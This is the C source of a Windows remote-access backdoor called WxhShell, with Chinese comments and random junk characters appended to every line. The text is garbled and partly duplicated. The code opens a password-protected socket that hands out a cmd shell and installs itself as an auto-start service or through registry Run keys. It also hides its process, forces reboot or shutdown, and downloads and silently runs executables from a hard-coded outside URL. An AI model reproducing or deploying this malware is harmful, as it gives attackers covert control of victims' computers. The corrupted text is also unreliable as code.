    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !PlEO 2at  
    if(Boot(SHUTDOWN)) Dj?> <@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [85spub&}  
    else { ( $MlXBI  
    closesocket(wsh); @gEUm_#HTs  
    ExitThread(0); D/gw .XYL  
    } .hb:s,0mP  
    break; 5 V~oIL  
    } C 82omL  
  // 获取shell xIW3={b3  
  case 's': { wU36sCo  
    CmdShell(wsh); ~vhE|f  
    closesocket(wsh); Ml{,  
    ExitThread(0); p`dU2gV  
    break; 2a)xTA#  
  } s\(k<Ks  
  // 退出 |^I0dR/w:  
  case 'x': { EJ.SW5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 76Cl\rV  
    CloseIt(wsh); !-x$L>1$  
    break; Ta0|+IYk<  
    } ?!:ha;n  
  // 离开 tS5hv@9cWx  
  case 'q': { >>)b'c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?3,:-"(@p  
    closesocket(wsh); .VJMz4$]O  
    WSACleanup(); CsR$c,8X.  
    exit(1); ZU4nc3__  
    break; ,-c6dS   
        } re?,Wext\  
  } IPKbMlV#d  
  } f*% D$Mqg  
^mDe08. %b  
  // 提示信息 VcYrK4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ek\ xx  
} rU:`*b<  
  } 8W(*~}ydYY  
Vb;*m5,?:  
  return; t9`.bx8  
} #Y`~(K47  
? (Oy\  
// shell模块句柄 AT 3cc  
int CmdShell(SOCKET sock) {\"x3;3!6  
{ %lhEM}Sm  
STARTUPINFO si; \ZFGw&yN  
ZeroMemory(&si,sizeof(si)); kx{{_w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <z&/L/bl"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @V sG'  
PROCESS_INFORMATION ProcessInfo; xC:L)7#aw  
char cmdline[]="cmd"; qJs<#MQ2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L|+~"'l  
  return 0; 286;=rN]*  
} L#?Ek-  
4r#= *  
// 自身启动模式 hbDXo:  
int StartFromService(void) 8I?Wt W  
{ bdrg(d6  
typedef struct S~bOUdV Z  
{ .t-4o<7 3  
  DWORD ExitStatus; TDKki(o=~  
  DWORD PebBaseAddress; BLdvyVFx  
  DWORD AffinityMask; ]i)c{y  
  DWORD BasePriority; }O5i/#.lR  
  ULONG UniqueProcessId; PI)+Jr%L  
  ULONG InheritedFromUniqueProcessId; (O?.)jEW(.  
}   PROCESS_BASIC_INFORMATION; d#Y^>"|$.  
P>C~ i:4n  
PROCNTQSIP NtQueryInformationProcess; z"L/G  
qp }Cqi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O2E/jj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tya1/w4  
w~A{(- dx  
  HANDLE             hProcess; gQg"j)  
  PROCESS_BASIC_INFORMATION pbi; py!|\00}  
AaOu L,l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pb4X\9^  
  if(NULL == hInst ) return 0; ^WgX Qtn  
Xm}/0g&7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $\BE&4g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S(I{NL}= $  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]EBxl=C}D  
i2Qz4 $z  
  if (!NtQueryInformationProcess) return 0; YMcD|Kbp  
u#$]?($}d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y|f[bw  
  if(!hProcess) return 0; mt{nm[D!Xp  
0/MtYIYk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pfDc9PMj  
- t'jNR'  
  CloseHandle(hProcess); Y'S%O/$  
- q1?? u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5h-SCB>P  
if(hProcess==NULL) return 0; Tod&&T'UW  
O)*+="Rg  
HMODULE hMod; O!#g<`r{K  
char procName[255]; uAJx.>$b  
unsigned long cbNeeded; NZLxHD]mp  
 I<mV+ex  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  :D6 ON"6  
m)t;9J5  
  CloseHandle(hProcess); b9J_1Gl]  
R6Km\N  
if(strstr(procName,"services")) return 1; // 以服务启动 m@2QnA[ 4  
OmpND{w  
  return 0; // 注册表启动 RuA*YV  
} y<|7z99L  
O7m(o:t x3  
// 主模块 mb TEp*H  
int StartWxhshell(LPSTR lpCmdLine) Lv;^My  
{ %KhI>O<  
  SOCKET wsl; 36Zf^cFJ  
BOOL val=TRUE; 9@(PWz=`?  
  int port=0; /sx&=[ D  
  struct sockaddr_in door; JN-y)L/>  
(AaoCa[  
  if(wscfg.ws_autoins) Install(); IqaT?+O\?r  
{yHCXFWlS  
port=atoi(lpCmdLine); XK3tgaH  
XkE`U5.  
if(port<=0) port=wscfg.ws_port; JV^=v@Z3  
rNWw?_H-H(  
  WSADATA data; 5h=}j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %~H-)_d20  
DFB@O|JL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WUe{vV#S'0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kW Ml  
  door.sin_family = AF_INET; p Z|V 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x_N'TjS^{  
  door.sin_port = htons(port); (l~AV9!m:  
RUnSCOdX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _?m(V=z>  
closesocket(wsl); Eex~xiiV  
return 1; x:NY\._  
} S]e|"n~@  
_~l5u8{^6  
  if(listen(wsl,2) == INVALID_SOCKET) { WdH$JTk1  
closesocket(wsl); ;>EM[u  
return 1; >=I|xY,  
} #4Rx]zW^%  
  Wxhshell(wsl); 1QcNp (MO  
  WSACleanup(); dk#k bG;  
]___M  
return 0; !&y8@MD15  
~*&H$6NJS  
} NqazpB*  
w7.V6S$Ga  
// 以NT服务方式启动 #Yj1w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bQg:zww  
{ Ha0M)0Anv  
DWORD   status = 0; #C74z$  
  DWORD   specificError = 0xfffffff; T= y}y  
["k,QX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i/;\7n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q0`wt.}V2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / |;RV"  
  serviceStatus.dwWin32ExitCode     = 0; 8sWJcmVo  
  serviceStatus.dwServiceSpecificExitCode = 0; 17%,7P9pg  
  serviceStatus.dwCheckPoint       = 0; <s31W3<v  
  serviceStatus.dwWaitHint       = 0; 0y'H~(  
VX0 %a@ur  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WTQ\PANAaR  
  if (hServiceStatusHandle==0) return; 8`B3;Zmm  
sQHv%]s 0  
status = GetLastError(); p SH=%u>  
  if (status!=NO_ERROR) G#q@v(_b  
{ T\6dm/5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2+ N]PW\V  
    serviceStatus.dwCheckPoint       = 0;  j|DsG,  
    serviceStatus.dwWaitHint       = 0; ` xEx^P^7  
    serviceStatus.dwWin32ExitCode     = status; $kdB |4C  
    serviceStatus.dwServiceSpecificExitCode = specificError; g#pr yYz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O-0x8O^B  
    return; ?DS@e@lx  
  } f M :]&  
(?1y4M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ouvA~/5  
  serviceStatus.dwCheckPoint       = 0; %ufN8w!p  
  serviceStatus.dwWaitHint       = 0; Af~$TyX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,GhS[VJjR  
} iJI }TVep#  
+6M}O[LP  
// 处理NT服务事件,比如:启动、停止 HTv2#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vFzRg5lH  
{ ^qvZXb  
switch(fdwControl) 7dTkp!'X-  
{ p}z<Fdu 0  
case SERVICE_CONTROL_STOP: 8+Lm's=W*  
  serviceStatus.dwWin32ExitCode = 0; ~f&E7su-6+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; + /4A  
  serviceStatus.dwCheckPoint   = 0; V# }!-Xj  
  serviceStatus.dwWaitHint     = 0; }1L4 "}L.  
  { e }?db  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *k7+/bU~~  
  } MIeU,KT#U  
  return; a_^\=&?'  
case SERVICE_CONTROL_PAUSE: /Vx7mF:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HYD'.uj  
  break; B-Ll{k^  
case SERVICE_CONTROL_CONTINUE: s0TORl6Z|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :%_LpZ  
  break; g{]0sn#  
case SERVICE_CONTROL_INTERROGATE: 8rAg \H3E  
  break; WH#1 zv  
}; > ym,{EHK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQ{7j!Im  
} )` SrfGp8  
Hp|kQJ[LE  
// 标准应用程序主函数 b"<liGh"n-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #X+JHl  
{ T8?Ghbn  
0mYXv4 <  
// 获取操作系统版本 ^lnK$i  
OsIsNt=GetOsVer();  sg^zH8,3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pTth}JM>  
M~Tuj1?  
  // 从命令行安装 p}}R-D&K  
  if(strpbrk(lpCmdLine,"iI")) Install(); x xHY+(m  
S1T"Z{$  
  // 下载执行文件 <VMGTBVQ  
if(wscfg.ws_downexe) { _b pP50Cu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XAD- 'i  
  WinExec(wscfg.ws_filenam,SW_HIDE); wyH[x!QX  
} 9R!atPz9  
1 fp?  
if(!OsIsNt) { F$y$'Rzu_B  
// 如果时win9x,隐藏进程并且设置为注册表启动 )J o: pkM  
HideProc(); W 8<&gh+  
StartWxhshell(lpCmdLine); Co9^OF-k  
} ;>%r9pz ~  
else rK 8lBy:<  
  if(StartFromService()) XW 2b|%T  
  // 以服务方式启动 ol\Utq,  
  StartServiceCtrlDispatcher(DispatchTable); %Bj\W'V&p  
else "@^k)d$  
  // 普通方式启动 np|Sy;:  
  StartWxhshell(lpCmdLine); M><yGaaX/  
`$Y.Y5mGtJ  
return 0; g.k"]lP  
} .r=4pQ@#  
?> 9/#Nv  
rET\n(AJ  
x;O[c3I  
=========================================== q^@Q"J =v  
7(1|xYCx$  
lf`{zc r:  
(q/e1L-S  
do hA0  
i'<[DjMDlm  
" 9Z$"K-G  
F@D`N0Pte  
#include <stdio.h> `{@8Vsmy:  
#include <string.h> ]6,\r"  
#include <windows.h> x`eo"5.$  
#include <winsock2.h> 1 &jc/*Z"  
#include <winsvc.h> M/B_#yK  
#include <urlmon.h> RXMISt3+{y  
/aCc17>2V{  
#pragma comment (lib, "Ws2_32.lib") df8k7D;~e  
#pragma comment (lib, "urlmon.lib") l ~"^7H?4e  
@-07F,'W,  
#define MAX_USER   100 // 最大客户端连接数 @(w@e\Bq  
#define BUF_SOCK   200 // sock buffer {f_={k  
#define KEY_BUFF   255 // 输入 buffer 7DogM".}~Q  
5+4IN5o]=  
#define REBOOT     0   // 重启 >a<.mU|#  
#define SHUTDOWN   1   // 关机 Pjf"CW+A  
wq`s-qZu  
#define DEF_PORT   5000 // 监听端口 }^WdJd]P  
RF$eQzW  
#define REG_LEN     16   // 注册表键长度 d UE,U=  
#define SVC_LEN     80   // NT服务名长度 b<[Or^X ]  
*uRBzO}  
// 从dll定义API PA{PD.4Du  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^]Y> [[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ gR;=~S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KJUH(]>F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (*9$`!wS  
C\3rJy(VJ  
// wxhshell配置信息 FW;?s+Uyx  
struct WSCFG { ] Jg&VXrH  
  int ws_port;         // 监听端口 4HXo>0  
  char ws_passstr[REG_LEN]; // 口令 FBX'.\@`  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wx%H%FeK  
  char ws_regname[REG_LEN]; // 注册表键名 v |,1[i{  
  char ws_svcname[REG_LEN]; // 服务名 _#E0g'3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :wyno#8`-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vi$~-6n&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i$"F{|Z0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UBU=9a5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tyDU @M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h|9L5  
 R Z?jJm$  
}; \[i1JG  
 `,*3[  
// default Wxhshell configuration CT <7mi!  
struct WSCFG wscfg={DEF_PORT, 8}x:`vDK  
    "xuhuanlingzhe", tmYz R%i  
    1, r| wS<cA2  
    "Wxhshell", s-!ArB,  
    "Wxhshell", #powub  
            "WxhShell Service", z]y.W`i   
    "Wrsky Windows CmdShell Service", ~8Fk(E_  
    "Please Input Your Password: ", ;\dBfP  
  1, Z9ZPr?C=  
  "http://www.wrsky.com/wxhshell.exe", +4~_Ei[i  
  "Wxhshell.exe" ./Zk`-OBT  
    }; Lnl(2xD  
:K,i\  
// 消息定义模块 T@B/xAq5!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /N10  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x_Y!5yg E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2%Ri,4SRb  
char *msg_ws_ext="\n\rExit."; ]L.O8  
char *msg_ws_end="\n\rQuit."; q'F+OQb1  
char *msg_ws_boot="\n\rReboot..."; 3AtGy'NTp  
char *msg_ws_poff="\n\rShutdown..."; r.&Vw|*>  
char *msg_ws_down="\n\rSave to "; [#vH'y  
YQvD|x  
char *msg_ws_err="\n\rErr!"; V#$RR!X'  
char *msg_ws_ok="\n\rOK!"; A2Ed0|By  
',@3>T**  
char ExeFile[MAX_PATH]; `:KY\  
int nUser = 0; Ykw*&opz  
HANDLE handles[MAX_USER]; ifQ*,+@fxR  
int OsIsNt; Wq&if_  
;?i W%:_,  
SERVICE_STATUS       serviceStatus; %3-y[f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,AFu C <  
lIS-4QX1  
// 函数声明 e{K 215  
int Install(void); )F>#*P  
int Uninstall(void); hBUn \~z  
int DownloadFile(char *sURL, SOCKET wsh); nPl?K:(  
int Boot(int flag); 8C:z"@o  
void HideProc(void); I-*S&SiXjI  
int GetOsVer(void); B hGu!Y6f  
int Wxhshell(SOCKET wsl); 6,"Q=9k4[  
void TalkWithClient(void *cs); s~g *@K>+  
int CmdShell(SOCKET sock); n5NsmVW\x  
int StartFromService(void); hd<c&7|G'  
int StartWxhshell(LPSTR lpCmdLine); }@+0/W?\.  
j{A y\n(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $k%2J9O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7(8;t o6(  
BC.87Fji/  
// 数据结构和表定义 _C?hHWSf"  
SERVICE_TABLE_ENTRY DispatchTable[] = 9~XA q^e  
{ hx%v+/  
{wscfg.ws_svcname, NTServiceMain}, Rtl"Ub@HV  
{NULL, NULL} =s2*H8]  
}; osAd1<EIC  
f}f9@>.  
// 自我安装 >*_$]E  
int Install(void) 4F'LBS]=0  
{ Jhhb7uU+  
  char svExeFile[MAX_PATH]; 1};Stai'  
  HKEY key; ,T$U'&;  
  strcpy(svExeFile,ExeFile); BM .~ 5\  
JIOR4'9  
// 如果是win9x系统,修改注册表设为自启动 $ @`V  
if(!OsIsNt) { .j0$J\:i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ChPmX+.i_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vMH  
  RegCloseKey(key); :q% M_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #rfiD%c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UECK:61Me  
  RegCloseKey(key); f+,qNvBY/  
  return 0; [!#L6&:a8  
    } K`zdc`/  
  } m@v\(rT.  
} IK=a*}19L  
else { |&)dh<  
Yk Ki|k  
// 如果是NT以上系统,安装为系统服务 SsDmoEeB[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c9 _ rmz8  
if (schSCManager!=0) k2tF}  
{ P* BmHz4KL  
  SC_HANDLE schService = CreateService )lqAD+9Q  
  ( #a,PZDaE  
  schSCManager, F_{Yo?_  
  wscfg.ws_svcname, +.FEq*V  
  wscfg.ws_svcdisp, E]n&=\  
  SERVICE_ALL_ACCESS, H3=qe I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s)D;a-F  
  SERVICE_AUTO_START, !``,gExH  
  SERVICE_ERROR_NORMAL, u^I|T.w<r6  
  svExeFile, j-}O0~Jz  
  NULL, <^jQo<kU  
  NULL, '4Bm;&6M  
  NULL, EUX\^c]n  
  NULL, O;jrCB  
  NULL (vJNHY M  
  ); $Sip$\+*  
  if (schService!=0) Vv=. -&'  
  { |3"KK  
  CloseServiceHandle(schService);  SRDp*  
  CloseServiceHandle(schSCManager); p%=u#QNi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )}Kf=  
  strcat(svExeFile,wscfg.ws_svcname); #r\4sVg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .|fH y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y)2,PES=  
  RegCloseKey(key); p]+Pkxz]'  
  return 0; >@_^fw)  
    } J<h $ wM  
  } Kn;"R:  
  CloseServiceHandle(schSCManager); I-(zaqp@  
} SZ'R59Ee<  
} flbd0NB  
$G@5qxcV  
return 1; Wt-GjxGi  
} bJTBjS-7  
iz PDd{[  
// 自我卸载 z$. 88 ^  
int Uninstall(void) `dN@u@[\ks  
{ O m2d .7S  
  HKEY key; ?NsW|w_  
=X:Y,?  
if(!OsIsNt) { kxhWq:[c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0~/_|?]`7  
  RegDeleteValue(key,wscfg.ws_regname); 7[XRd9a5(  
  RegCloseKey(key); +\ .Lp 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qe:seW  
  RegDeleteValue(key,wscfg.ws_regname); CkQ3#L<2  
  RegCloseKey(key); 9qzHS~l  
  return 0; 0 /U{p,r6`  
  } Kis"L(C  
} 6O!2P  
} i<Zc"v;  
else { 4!no~ $b  
7;wd(8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); . 3T3E X|G  
if (schSCManager!=0) ( ^Nz9{  
{ Pu$Tk |  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;iL#7NG-R  
  if (schService!=0) X\qNG]  
  { Fywv  
  if(DeleteService(schService)!=0) { #.)0xfGW)n  
  CloseServiceHandle(schService); RMu~l@  
  CloseServiceHandle(schSCManager); <R=Zs[9M1  
  return 0; 'zuIBOH`j3  
  } 1\2no{Vh  
  CloseServiceHandle(schService); >U27];}y  
  } R$[vm6T?  
  CloseServiceHandle(schSCManager); >!1-lfa8  
} )zdQ1&@  
} Bn&ze.F  
n9ej7oj  
return 1; \\;jw[P0  
} ^8N}9a  
hT+_(>hT  
// 从指定url下载文件 VTY 5]|;  
int DownloadFile(char *sURL, SOCKET wsh) .Vvx,>>D  
{ R(G7m@@{  
  HRESULT hr; o`z]|G1''  
char seps[]= "/"; ?J~_R1Z  
char *token; ^o&. fQ*  
char *file; Z o(rTCZX  
char myURL[MAX_PATH]; e1Hg w[l`  
char myFILE[MAX_PATH]; .Rs^YZF  
H8}oIA"b  
strcpy(myURL,sURL); @Qt{jI !  
  token=strtok(myURL,seps); =^,m` _1  
  while(token!=NULL) N2<!}Eyu  
  { _g"<UV*H  
    file=token; i2SR{e8:GF  
  token=strtok(NULL,seps); dJNe+ MB`  
  } n<R?ffy  
"'?>fe\qG  
GetCurrentDirectory(MAX_PATH,myFILE); {8bSB.?R  
strcat(myFILE, "\\"); 59;KQ  
strcat(myFILE, file); pB0 \\wR  
  send(wsh,myFILE,strlen(myFILE),0); }y gD3:vN7  
send(wsh,"...",3,0); tJ$_lk ~6q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PtiOz :zV  
  if(hr==S_OK) 5vnrA'BhBU  
return 0; ~6LN6}~|.  
else @*KZ}i@._  
return 1; <*cikXS  
&`2)V;t  
} 8$Y9ORs4  
A#YrWW  
// 系统电源模块 hf&9uHN%7m  
int Boot(int flag) f x+/C8GK  
{ 88wa7i*  
  HANDLE hToken; ri-b=|h2j  
  TOKEN_PRIVILEGES tkp; 1\I}2;  
q9s=~d7  
  if(OsIsNt) { Jij*x>K>y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T</F 0su|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6?c7$Y  
    tkp.PrivilegeCount = 1; NU2;X (z[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )MTOU47U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Ki[$bS~6  
if(flag==REBOOT) { 28d'7El$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d5:c^`  
  return 0; j*r{2f4Rt  
} m^;f(IK5  
else { nUOz\ y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xMG~N`r  
  return 0; T{[=oH+  
} WCixKYq  
  } g{&ui.ml&  
  else { <frutU16\  
if(flag==REBOOT) { ; kI134i=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ge8ZsaiU  
  return 0; amY!qg0P*  
} _E.>`Q  
else { f9{Rb/l!BQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Y| t]^M  
  return 0; Z4 =GMXj  
} 1o{Mck  
} 2`=7_v  
_KAQ}G3  
return 1; ^s"R$?;h  
} ;>7De8v@@  
{F.[&/A  
// win9x进程隐藏模块 nZYBE030  
void HideProc(void) *b\t#meS&  
{ KJ4.4Zq{c  
P( 8OQL:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qq|57X)P*  
  if ( hKernel != NULL ) FVJ GL  
  { YT(AUS5n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BLD gt~h#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A6(/;+n  
    FreeLibrary(hKernel); +@wD qc  
  } *(DV\.l`  
vUM4S26"NT  
return; P+/e2Y  
} zIAD9mQex  
l2Rb\4  
// 获取操作系统版本 cSV aI  
int GetOsVer(void) A2Gevj?F$  
{ s!$7(Q86R  
  OSVERSIONINFO winfo; XZd,&YiaG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3)ywX&4"L  
  GetVersionEx(&winfo); ^k9I(f^c-_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {3aua:q  
  return 1; -ZLJeY L  
  else #KZBsa@p  
  return 0; {R6ZKB  
} $6SW;d+>n  
R8'RA%O9J  
// 客户端句柄模块 v` 1lxX'*  
int Wxhshell(SOCKET wsl) _I5Y"o  
{ P/_['7  
  SOCKET wsh; j&qub_j"xX  
  struct sockaddr_in client; }*]-jWt1J\  
  DWORD myID; gRcQt:  
(SAs-  
  while(nUser<MAX_USER) [d ]9Oa4  
{ $~T4hv :  
  int nSize=sizeof(client); <wD-qTW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [/8%3  
  if(wsh==INVALID_SOCKET) return 1; nAdf=D'P  
IjnU?Bf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'TB2:W3  
if(handles[nUser]==0) _X x/(.O  
  closesocket(wsh); :d'8x  
else wk_@R=*(\  
  nUser++; `VguQl_,gA  
  } b4N[)%@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7B66]3v  
'}Z<h?9  
  return 0; ' S/gmn  
} fe_5LC"  
3%b6{ie/=  
// 关闭 socket GnJt0{  
void CloseIt(SOCKET wsh) G]&qx`TBK  
{ }Jj}%XxKs  
closesocket(wsh); nAlQ7 '  
nUser--; + mT_QsLEv  
ExitThread(0); 63IM]J  
} a9Zq{Ysj  
FfT`;j  
// 客户端请求句柄 '!B&:X)  
void TalkWithClient(void *cs) 5\VWCI  
{ c@L< Z`u  
~((O8@}J  
  SOCKET wsh=(SOCKET)cs; F*ylnB3z  
  char pwd[SVC_LEN]; DkDmE  
  char cmd[KEY_BUFF]; l+0oS'`V*L  
char chr[1]; BnF^u5kv%  
int i,j; 8zW2zkv2|#  
NC6&x=!3  
  while (nUser < MAX_USER) { g *+>H1}  
[v!f<zSQK  
if(wscfg.ws_passstr) { ;#< 0<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :?1Dko^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \1M4Dl5!  
  //ZeroMemory(pwd,KEY_BUFF); 0?|<I{z2  
      i=0; NL+N%2XG7  
  while(i<SVC_LEN) { wi{3/  
('+d.F[109  
  // 设置超时 F#5~M<`.o  
  fd_set FdRead; yyTnL 2Y9  
  struct timeval TimeOut; /PXzwP_(A  
  FD_ZERO(&FdRead); EQSQFRk;  
  FD_SET(wsh,&FdRead); 2&J)dtqz  
  TimeOut.tv_sec=8; 5146kp|1  
  TimeOut.tv_usec=0; mgU<htMr1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5L}/&^E#p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W=+ Y|R!  
vo{--+{ky!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KLk~Y0$:v  
  pwd=chr[0]; N?`' /e  
  if(chr[0]==0xd || chr[0]==0xa) { !U Ln7\@  
  pwd=0; :e+jU5;]3  
  break; <<O$ G7c  
  } .O<obq~;C  
  i++; 9_h[bBx-'Q  
    } ZXPX,~ 5o  
p!AAFmc  
  // 如果是非法用户,关闭 socket !C.4<?*|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sU^1wB Rj  
} Pr C{'XDlU  
a(ZcmYzXU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Qj~M<@3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @oGcuE  
0#gK6o!  
while(1) { :7;@ZEe  
H3oFORh  
  ZeroMemory(cmd,KEY_BUFF); % |L=l{g  
SSzIih@u  
      // 自动支持客户端 telnet标准   E2+`4g@{8<  
  j=0; %mgE;~"&  
  while(j<KEY_BUFF) { %iqD5x$OA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q22 GIr  
  cmd[j]=chr[0]; +&H4m=D-#a  
  if(chr[0]==0xa || chr[0]==0xd) { E' uZA  
  cmd[j]=0; ;}p  
  break; kD"{g#c  
  } hOK8(U0  
  j++; n~Lt\K:  
    } )D%~` ,#pQ  
WUTowr  
  // 下载文件 ~pky@O#b  
  if(strstr(cmd,"http://")) { )fAUum  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l9"s>PU  
  if(DownloadFile(cmd,wsh)) F,CT Z~  
